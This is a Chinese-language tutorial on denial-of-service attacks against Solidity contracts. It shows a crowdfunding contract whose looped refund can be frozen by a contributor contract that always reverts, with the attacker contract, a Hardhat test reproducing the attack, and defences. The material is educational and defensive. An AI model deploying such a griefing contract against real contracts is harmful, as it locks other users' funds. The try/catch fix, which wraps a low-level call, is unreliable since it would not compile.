欢迎订阅专栏 :10分钟智能合约:进阶实战
实战8:使合约拒绝服务 ------ 当"退款"成为永久锁仓
本实战将展示一种常见的拒绝服务(DoS)攻击手法:合约在执行退款或奖励分发的循环中,由于某个接收方地址(恶意合约)在接收 ETH 时主动
revert,导致整个交易回滚,从而阻塞所有后续用户的退款操作,造成资金永久锁定。我们将通过一个众筹退款合约,演示攻击者如何利用这一点使合约无法正常提供服务。
一、场景设定
我们有一个众筹退款合约:
- 用户可以通过
contribute()存入 ETH 参与众筹,并获得一个份额。 - 如果众筹失败,管理员可以调用
refundAll()将所有资金按贡献比例退还给所有参与者。 - 退款采用循环遍历参与者列表,逐个发送 ETH 的方式。
漏洞 :如果某个参与者的地址是一个合约,并且在接收 ETH 时(receive())抛出异常(revert),那么整个 refundAll 事务会回滚,所有参与者的退款都无法完成,形成拒绝服务。
攻击者只需在项目启动时,以一个恶意合约地址参与众筹,即可在退款时瘫痪合约,导致资金被永远锁住(除非管理员采用其他手段,但合约中没有备用方案)。
二、漏洞合约(Crowdfunding.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Crowdfunding {
address public owner;
bool public goalReached;
address[] public contributors;
mapping(address => uint256) public contributions;
uint256 public totalRaised;
uint256 public goal;
event Contributed(address indexed contributor, uint256 amount);
event Refunded(address indexed contributor, uint256 amount);
constructor(uint256 _goal) {
owner = msg.sender;
goal = _goal;
}
// 参与众筹
function contribute() external payable {
require(!goalReached, "Goal already reached");
require(msg.value > 0, "Must send > 0 ETH");
if (contributions[msg.sender] == 0) {
contributors.push(msg.sender);
}
contributions[msg.sender] += msg.value;
totalRaised += msg.value;
emit Contributed(msg.sender, msg.value);
if (totalRaised >= goal) {
goalReached = true;
}
}
// ❌ 漏洞退款函数:遍历列表逐个发送 ETH
function refundAll() external {
require(!goalReached, "Goal reached, no refund");
require(msg.sender == owner, "Only owner");
uint256 refundAmount;
for (uint256 i = 0; i < contributors.length; i++) {
address contributor = contributors[i];
refundAmount = contributions[contributor];
if (refundAmount > 0) {
// 危险:若 contributor 是合约且 receive revert,整个交易回滚
(bool success, ) = contributor.call{value: refundAmount}("");
require(success, "Refund failed"); // 导致循环中断并回滚
contributions[contributor] = 0;
emit Refunded(contributor, refundAmount);
}
}
// 注意:这里没有清空 contributors,但状态已经修改,但由于回滚,一切都不会发生
}
// 获取参与者数量
function getContributorsCount() external view returns (uint256) {
return contributors.length;
}
// 获取合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞点:
refundAll循环调用contributor.call{value: refundAmount}("")并require(success)。- 如果任何一个
contributor地址是一个合约,且其receive()函数执行revert(),则success为false,require导致整个交易回滚。 - 所有参与者的退款都依赖于这一轮循环,一旦失败,资金将无法取出。
三、攻击者合约(MaliciousReceiver.sol)
攻击者部署一个简单的恶意合约,其 receive() 函数总是 revert。
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MaliciousReceiver {
// 接收 ETH 时主动 revert
receive() external payable {
revert("I refuse to receive ETH");
}
// 也可以提供一个函数供攻击者调用
function attack(address _crowdfunding) external payable {
// 通过 contribute 参与众筹
(bool success, ) = _crowdfunding.call{value: msg.value}(
abi.encodeWithSignature("contribute()")
);
require(success, "Contribute failed");
}
}
攻击流程:
- 攻击者部署
MaliciousReceiver合约。 - 攻击者调用
attack(crowdfundingAddress)并附带 0.1 ETH,使得该恶意合约成为众筹参与者之一。 - 众筹未达到目标,管理员调用
refundAll()。 - 循环遍历至恶意合约地址时,
call触发receive(),后者revert,导致success = false,require失败,整个交易回滚。 - 所有其他参与者的退款均失败,资金被永远锁在合约中(除非修改合约,但已无法升级)。
四、实战操作(Hardhat + 测试脚本)
以下测试使用 Hardhat 模拟拒绝服务攻击。
javascript
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("拒绝服务攻击(退款堵塞)", function () {
let crowdfunding, malicious;
let owner, attacker, user1, user2;
const GOAL = ethers.utils.parseEther("10");
beforeEach(async function () {
[owner, attacker, user1, user2] = await ethers.getSigners();
// 部署众筹合约,目标 10 ETH
const Crowdfunding = await ethers.getContractFactory("Crowdfunding");
crowdfunding = await Crowdfunding.deploy(GOAL);
await crowdfunding.deployed();
// 正常用户参与
await crowdfunding.connect(user1).contribute({ value: ethers.utils.parseEther("3") });
await crowdfunding.connect(user2).contribute({ value: ethers.utils.parseEther("4") });
// 此时总筹集 7 ETH,未达标
});
it("攻击者通过恶意接收者阻止退款", async function () {
// 1. 部署恶意合约
const Malicious = await ethers.getContractFactory("MaliciousReceiver");
malicious = await Malicious.connect(attacker).deploy();
await malicious.deployed();
// 2. 恶意合约参与众筹,发送 0.1 ETH
await malicious.connect(attacker).attack(crowdfunding.address, {
value: ethers.utils.parseEther("0.1"),
});
// 现在 contributors 列表包含:user1, user2, malicious
const count = await crowdfunding.getContributorsCount();
expect(count).to.equal(3);
// 3. 管理员尝试退款,预期会失败
await expect(
crowdfunding.connect(owner).refundAll()
).to.be.revertedWith("Refund failed");
// 4. 验证资金没有被转出,合约余额仍为 7.1 ETH
const balance = await crowdfunding.getBalance();
expect(balance).to.equal(ethers.utils.parseEther("7.1"));
// 用户无法取回资金,合约被永久阻塞
console.log("合约余额未减少,资金被锁");
});
});
运行结果 :refundAll 抛出异常,所有退款失败,资金被永久锁定。
五、防御措施
方案一:采用"拉取支付"(Pull Payment)模式(推荐)
不要主动向用户发送 ETH,而是让用户自行提取。
solidity
contract SecureCrowdfunding {
mapping(address => uint256) public refunds;
function requestRefund() external {
uint256 amount = refunds[msg.sender];
require(amount > 0, "No refund");
refunds[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
}
这样即使恶意用户不提取,也不影响其他用户的提取。
方案二:使用 try/catch 处理外部调用失败
在 Solidity 0.6+ 中可以使用 try 语句捕获异常,跳过失败的用户。
solidity
function refundAll() external {
for (uint i = 0; i < contributors.length; i++) {
address contributor = contributors[i];
uint amount = contributions[contributor];
if (amount > 0) {
try payable(contributor).call{value: amount}("") {
contributions[contributor] = 0;
} catch {
// 记录失败,但继续执行
emit RefundFailed(contributor, amount);
}
}
}
}
但要注意,如果失败用户很多,可能会消耗大量 gas,且状态管理复杂。
方案三:使用"委托转账"模式
将转账操作交给一个独立的提款合约,该合约由用户自己调用,不依赖循环。
方案四:限制可参与地址
要求参与者必须是 EOA(使用 tx.origin == msg.sender 或检查 extcodesize),但这并不完全可靠,且影响合约用户。
六、真实案例
- Parity 多签钱包(2017):由于某个库合约被自毁,导致所有依赖它的钱包的转账功能被阻塞,形成 DoS。
- King of the Ether:早期众筹合约因类似循环退款问题被攻击,导致资金被冻结。
- 多次 ICO 退款事件:许多项目在退款时因为没有考虑拒绝服务攻击,导致用户无法取回资金。
七、总结
- 拒绝服务攻击(DoS) 在智能合约中多表现为使关键函数永远失败,而非消耗计算资源。
- 核心原因:依赖外部调用结果且要求全部成功,一旦某个调用失败,整个事务回滚。
- 安全设计原则 :
- 避免主动推送资金,采用用户主动提取(Pull)模式。
- 如果必须推送,使用
try/catch隔离失败。 - 限制参与者地址类型(但非绝对安全)。
- 审计时,应检查所有涉及循环外部调用的函数,评估是否存在单点失败导致全局阻塞的风险。